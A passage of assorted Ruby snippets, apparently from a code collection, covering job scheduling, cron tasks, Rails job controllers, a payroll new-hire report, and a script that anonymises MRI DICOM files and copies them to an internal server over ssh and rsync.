puts \"<2>\"\r\n # puts a\r\n # while r =~ a[marker..(a.size - 1)] && counter < maxnum do\r\n # \r\n # puts \"[Start while]========================\"\r\n # \r\n # puts \"marker=\" + marker.to_s\r\n # \r\n # # point = (r =~ a)\r\n # point = (r =~ a[marker..(a.size - 1)])\r\n # puts \"point=\" + point.to_s\r\n # puts\r\n # \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # puts \"a[marker..(a.size - 1)]=\" + a[marker..(a.size - 1)]\r\n # puts\r\n # \r\n # \r\n # \r\n # a.insert(marker + point, t1)\r\n # a.insert(marker + point + t1.size + r.source.size, t2)\r\n # # a.insert(point, t1)\r\n # # a.insert(point + t1.size + r.source.size, t2)\r\n # \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # marker += point + t1.size + r.source.size + t2.size\r\n # # marker = point + t1.size + r.source.size + t2.size\r\n # # marker = point + t1.size + r.source.size\r\n # # marker = point\r\n # \r\n # counter += 1\r\n # \r\n # puts \"marker=\" + marker.to_s\r\n # puts \"point=\" + point.to_s\r\n # puts\r\n # \r\n # puts \"[End while========================]\"\r\n # \r\n # end\r\n # \r\n # puts a\r\n \r\n \r\nend", "def histcall\n HardWorker.perform_at(24.hours, 1)\n puts \"Cron job: Stocks being added to db\"\n end", "def pm_counter_cron_main_with_team(team_array)\n \n start_time=Time.now\n\n return if team_array.nil? || team_array.size ==0\n \n\nteam_array.each do |team|\n logger=Logger.new(\"pm_counter_#{team}.log\",shift_age = 7, shift_size = 1048576)\n all_counters=pm_counter_get_defined_counter(logger)\n set_logger_level(logger)\n Bts.where(:team=>team).each do |bts|\n result=pm_counter_analysis_one_bts(all_counters,bts.s1_ip,bts.bts_username,bts.bts_password,logger)\n end\n\n Cron.create(:name=>\"PM counter_#{team}\",:scope=>\"#{team}\",:start=>start_time.to_s,:cost=>Time.now - start_time,:succ=>\"#{0}\",:fail=>\"#{0}\")\n ActiveRecord::Base.connection.close\nend\nend", "def published job\n @job = job\n\n mail :to => @job.email, :subject => \"Empleos TI: #{@job.title}\"\n end", "def schedule_jobs(jobs)\n scheduler = Rufus::Scheduler.start_new\n \n jobs.each do |job|\n Mongolicious.logger.info(\"Scheduled new job for #{job['db'].split('/').last} with interval #{job['interval']}\")\n scheduler.every job['interval'] do\n backup(job)\n end\n end \n \n scheduler.join\n end", "def create\n @job = Job.new(job_params)\n @job.target *= 3600\n @job.user = current_user\n \n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end", "def schedule_recurring_jobs\n EmbargoAutoExpiryJob.perform_later(account)\n LeaseAutoExpiryJob.perform_later(account)\n end", "def generate_new_hire_report\n lines = []\n\n column_titles = [\n 'Social Security Number',\n 'Name - Last',\n 'Name - First',\n 'Gender',\n 'Date of Birth',\n 'Date of Hire - Original',\n 'Date of Rehire',\n 'Termination Date',\n 'Address - Street 1',\n 'Address - Street 2',\n 'Address - City',\n 'Address - State',\n 'Address - Postal Code',\n 'Division ID',\n 'Pre-tax Deferral',\n 'Roth Amount',\n 'Matching Amount',\n 'Matching Safe Harbor',\n 'Profit Sharing',\n 'Non Elective Safe Harbor',\n 'Plan Compensation',\n 'Current Hours',\n 'Marital Status',\n 'Loan Payments',\n 'Internet Address - Other',\n 'PARTICIPANTID'\n ]\n lines.push(column_titles.join(','))\n\n plan_symlink = @config.plan.symlink\n plan = Plan.where('symlink = ?', plan_symlink).first\n @new_employees.each do |employee|\n date_of_birth = employee[RecordField::DATE_BIRTH]\n if date_of_birth.present? && date_of_birth.is_a?(Date)\n date_of_birth = DateUtils.to_string(date_of_birth)\n else\n date_of_birth = ''.to_date\n end\n participant = participant_mapping(plan.id, employee, date_of_birth)\n next if participant.nil?\n\n calculate_assumed_hour = Plan.calculate_assumed_hour(employee, plan.id)\n hours = plan.assumed_hours_setting ? calculate_assumed_hour : employee[RecordField::HOURS_REGULAR]\n cells = [\n (employee[RecordField::SSN] || '').gsub(/[^\\d]/, ''),\n employee[RecordField::NAME_LAST],\n employee[RecordField::NAME_FIRST],\n employee[RecordField::GENDER] || '',\n employee[RecordField::DATE_BIRTH] || ' ',\n employee[RecordField::DATE_HIRE] || ' ',\n employee[RecordField::DATE_REHIRE] || ' ',\n employee[RecordField::DATE_TERMINATION] || ' ',\n employee[RecordField::ADDRESS_STREET_1],\n employee[RecordField::ADDRESS_STREET_2],\n employee[RecordField::ADDRESS_CITY],\n employee[RecordField::ADDRESS_STATE],\n employee[RecordField::ADDRESS_POSTAL_CODE],\n employee[RecordField::DIVISION_ID],\n employee[RecordField::AMOUNT_CONTRIBUTION_TRADITIONAL],\n employee[RecordField::AMOUNT_CONTRIBUTION_ROTH],\n employee[RecordField::AMOUNT_MATCH],\n employee[RecordField::AMOUNT_MATCH_SAFE_HARBOR],\n employee[RecordField::AMOUNT_PROFIT_SHARING],\n employee[RecordField::AMOUNT_NON_ELECTIVE_SAFE_HARBOR],\n employee[RecordField::AMOUNT_PAY_GROSS],\n hours,\n employee[RecordField::MARITAL_STATUS],\n employee[RecordField::AMOUNT_LOAN_PAYMENTS],\n employee[RecordField::EMAIL] || ' ',\n participant.try(:id)\n ]\n lines.push(cells.join(','))\n end\n\n return lines.join(\"\\n\")\n end", "def test_get_job\r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n \r\n @test_jobs << job_res.id if !job_res.nil?\r\n \r\n # Fetch job by id \r\n job = @scheduler_service.getJob( job_res.id )\r\n \r\n # Did we get anythign back\r\n assert_not_nil( job, 'Failed to retrieve existing job' )\r\n assert_instance_of( JasperServer::ReportSchedulerService::Job, job,\r\n 'Failed to retrieve existing job' ) \r\n end", "def build_job(start_time, end_time)\n Job.create(\n :start_time => start_time, \n :end_time => end_time, \n :running_time => (end_time-start_time), \n :name => action_name\n )\n end", "def generate\n GenerateInvoiceJob.perform_later\n end", "def create\n # @job = Job.new(job_params)\n #\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n require 'scripted_client'\n\n# First, find a JobTemplate that you'd like to use:\n\n templates = ScriptedClient::JobTemplate.all\n blog_post = templates.find { |template| template.name == 'Standard Blog Post' }\n\n# Next, assign some values for the Prompts on that JobTemplate.\n\n key_points = blog_post.prompts.find { |prompt| prompt.label == 'Key Points' }\n key_points.value = ['Orangutans make great pets', 'Normal pets are lame']\n\n# Next, you can find an Industry:\n\n industries = ScriptedClient::Industry.all\n lifestyle = industries.find { |industry| industry.name == 'Lifestyle & Travel' }\n\n# Now you can create the Job!\n\n @job = ScriptedClient::Job.all\n @job.count = 1\n\n job = ScriptedClient::Job.new(\n topic: 'Top 10 Reasons to Buy an Orangutan',\n job_template: blog_post,\n industries: [lifestyle]\n )\n job.save\n end", "def mkcron(name, addargs = true)\n cron = nil\n command = \"date > #{tmpdir()}/crontest#{name}\"\n args = nil\n if addargs\n args = {\n :command => command,\n :name => name,\n :user => @me,\n :minute => rand(59),\n :month => \"1\",\n :monthday => \"1\",\n :hour => \"1\"\n }\n else\n args = {:command => command, :name => name}\n end\n assert_nothing_raised {\n cron = @crontype.new(args)\n }\n\n cron\n end", "def archive!\n FileUtils.mkdir_p(File.dirname(jobdetails_filename))\n FileUtils.mkdir_p(File.dirname(jobconf_filename))\n store_note\n ArchivableJob.fetch_url(jobdetails_url, jobdetails_filename)\n ArchivableJob.fetch_url(jobconf_url, jobconf_filename)\n details = parse()\n tasks = JobTasks.new(slug, [details.map_tasks.to_i].min, [details.reduce_tasks.to_i].min)\n tasks.fetch_task_counters\n end", "def daily_morning\n logger.info \" daily_morning\"\n run('Newsletter', :send!)\n end", "def run_fjell_20140506_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"fjell_20140506_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('fjell_20140506_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting fjell_20140506_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_computer = \"kanga\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_fjell_20140506\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI', 'T2','T2_Flair','DTI']\n v_series_description_category_id_array = [19, 17, 20, 23,4]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_fjell_20140507\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag = 'Y' or status_flag is NULL) \n and export_id is not null\" # and subjectid in ('mrt00097', 'pdt00034','pdt00035')\" # sending ppt with incomplete sets\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment_warning +\"; \"+v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select distinct DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (37) and scvg.scan_procedure_id in (\"+r[2].to_s+\")) \"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI','T2','T2_Flair','T2+Flair') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n # for dual enrollments need ids path to get to unknown path/nii\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_actual_scan_procedure = v_dir_array[4]\n v_subjectid_date_actual =v_subjectid\n if v_dir_array[5] == \"mri\"\n v_subjectid_date_actual = v_dir_array[6]\n else\n v_subjectid_date_actual = v_dir_array[5] \n end\n v_subject_date_actual_array = v_subjectid_date_actual.split(\"_\")\n v_subjectid_actual = v_subject_date_actual_array[0]\n\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = v_actual_scan_procedure # ScanProcedure.find(r[2]).codename\n # check if nii file exists\n if !Dir.glob(v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\").empty?\n puts \"FOUND \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii \"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n # check if copied nii file is a directory -- found 2 exapmles\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'ls -dl \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n puts v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n v_return = stdout.read 1024 \n v_return_array = v_return.split(' ')\n if v_return_array[1] == \"2\"\n puts \" its a DIRECTORY!!!!!\"\n @schedulerun.comment = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n v_comment_warning = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii;\" +v_comment_warning\n end\n\n end\n stdin.close\n stdout.close\n stderr.close\n\n\n else\n # nii not exists\n @schedulerun.comment = \"MISSING \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n puts \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\"\n v_comment_warning = \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\" +v_comment_warning\n end \n \n end\n\n # get dti raw dicom for this subjectid/sp\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('DTI') \n and image_datasets.series_description != 'DTI whole brain 2mm FATSAT ASSET'\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_cnt = 1\n v_dir_target = \"\"\n v_scan_desc_type_array = []\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n puts \"aaaaaa v_dir_target = \"+v_dir_target\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_tmp = \"/tmp/\"+v_dir_target \n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n v_call = \"mise \"+v_path+\" \"+v_tmp \n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_dti/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n\n if v_scan_desc_type_array.size > 0 \nputs \"dddddd in ids dicoms\"\nputs \" /tmp dir = \"+\"/tmp/\"+v_dir_target+\"/*/*.* 0. 1. 2. *.dcm\" \n # TURN INTO A LOOP \n v_dicom_field_array =['0010,0030','0010,0010','0008,0050','0008,1030','0010,0020','0040,0254','0008,0080','0008,1010','0009,1002','0009,1030','0018,1000',\n '0025,101A','0040,0242','0040,0243']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name','0008,0050'=>'Accession Number',\n '0008,1030'=>'Study Description', '0010,0020'=>'Patient ID','0040,0254'=>'Performed Proc Step Desc',\n '0008,0080'=>'Institution Name','0008,1010'=>'Station Name','0009,1002'=>'Private',\n '0009,1030'=>'Private','0018,1000'=>'Device Serial Number','0025,101A'=>'Private',\n '0040,0242'=>'Performed Station Name','0040,0243'=>'Performed Location'}\n\n\n # v_dicom_field_array =['0010,0030']\n # v_dicom_field_value_hash ={'0010,0030'=>'DOB'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob('/tmp/'+v_dir_target+'/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n \n Dir.glob('/tmp/'+v_dir_target+'/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n Dir.glob('/tmp/'+v_dir_target+'/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm)\n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n\n v_call = \"rsync -av /tmp/\"+v_dir_target+\" panda_user@\"+v_computer+\".dom.wisc.edu:\"+v_parent_dir_target \n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n v_call = \"rm -rf /tmp/\"+v_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n \n sql_dir_list = \"update cg_fjell_20140507 set dir_list ='\"+v_folder_array.join(',')+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_dir_list)\n\n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.goveas_target_path\n\n # problem that files are on \"+v_computer+\", but panda running from nelson\n # need to ssh to \"+v_computer+\" as pand_admin, then sftp\n # v_source = \"panda_admin@\"+v_computer+\".dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_fjell_20140507 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish fjell_20140506_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n \n \n end", "def daily_midnight\n logger.info \" daily_midnight\"\n PersistStatsJob.create({})\n Gift.send_expiration_reminders(5)\n Gift.send_expiration_reminders(3)\n Gift.send_expiration_reminders(1)\n end", "def schedule_repetition\n self.due = Date.today + interval\n self.studied_at = Date.today\n end", "def initialize(args)\n @name = args[\"name\"]\n @start_date = args[\"start_date\"]\n @end_date = args[\"end_date\"]\n @location = args[\"location\"]\n @description = args[\"description\"]\n\n @start_time = args[\"start_time\"] if args.include? \"start_time\"\n\n @end_time = args[\"end_time\"] if args.include? \"end_time\"\n\n @is_repeated = true if args.include? \"repetition_freq\" and args[\"repetition_freq\"] != \"\"\n @has_alarm = true if args.include? \"alarm_time_unit\" and args[\"alarm_time_unit\"] != \"\"\n\n if args.include? \"wholeday\"\n @is_all_day = true\n else\n @is_all_day = false\n end\n\n if @start_date.include? \"/\"\n @is_us_format = true\n else\n @is_us_format = false\n end\n\n # Valid values are between 1 and 2147483647, excluding 0\n # \"asdf\".to_i -> 0\n if @is_repeated\n @repetition_freq = args[\"repetition_freq\"]\n value = args[\"repetition_interval\"]\n if value == \"\" or value.to_i > 2147483647 or value.to_i < 1\n @repetition_interval = \"1\"\n else\n @repetition_interval = value\n end\n @repetition_freq = \"YEARLY\" if @repetition_freq == \"Years\" || @repetition_freq == \"Jahre\"\n @repetition_freq = \"MONTHLY\" if @repetition_freq == \"Months\" || @repetition_freq == \"Monate\"\n @repetition_freq = \"WEEKLY\" if @repetition_freq == \"Weeks\" || @repetition_freq == \"Wochen\"\n @repetition_freq = \"DAILY\" if @repetition_freq == \"Days\" || @repetition_freq == \"Tage\"\n end\n\n if @has_alarm\n @alarm_time_unit = args[\"alarm_time_unit\"]\n alarm_value = args[\"alarm_time_value\"]\n if alarm_value == \"\" or alarm_value.to_i > 2147483647 or alarm_value.to_i < 1\n @alarm_time_value = \"1\"\n else\n @alarm_time_value = alarm_value\n end\n @alarm_time_unit = \"D\" if @alarm_time_unit == \"Day(s)\" || @alarm_time_unit == \"Tag(e)\"\n @alarm_time_unit = \"H\" if @alarm_time_unit == \"Hour(s)\" || @alarm_time_unit == \"Stunde(n)\"\n @alarm_time_unit = \"M\" if @alarm_time_unit == \"Minute(s)\" || @alarm_time_unit == \"Minute(n)\"\n end\n\n end", "def create_job(options = {})\n Job.create({:title => \"Another Dummy Job\", :description => \"This is just another dummy job\"}.merge(options))\n end", "def create\n job = Job.new\n job.job_name = params[:job_name]\n job.description = params[:description]\n job.quote = params[:quote].to_f\n job.running_total = 0\n \n if job.save\n jobConnect = JobToUser.new\n jobConnect.job_id = job.id\n jobConnect.user_id = current_user.id\n jobConnect.save\n redirect_to(\"/services/show\", :notice => 'Job was successfully created.')\n else\n redirect_to(\"/services/show\", :notice => 'Job Failed to Save. Try Again Later.')\n end\n end", "def formatRawJob(rjob, is_live)\n job = {}\n job[:rjob] = rjob\n job[:id] = rjob[\"id\"]\n job[:name] = rjob[\"name\"]\n\n if rjob[\"notifyURL\"]\n uri = URI(rjob[\"notifyURL\"])\n path_parts = uri.path.split(\"/\")\n job[:course] = path_parts[2]\n job[:assessment] = path_parts[4]\n end\n\n # Determine whether to expose the job name.\n unless @cud.user.administrator?\n if !@cud.instructor?\n # Students can see only their own job names\n job[:name] = \"*\" unless job[:name].ends_with? \"_#{@cud.user.email}\"\n elsif !rjob[\"notifyURL\"] || !(job[:course].eql? @cud.course.id.to_s)\n job[:name] = \"*\"\n end\n # Instructors can see only their course's job names\n end\n\n # Extract 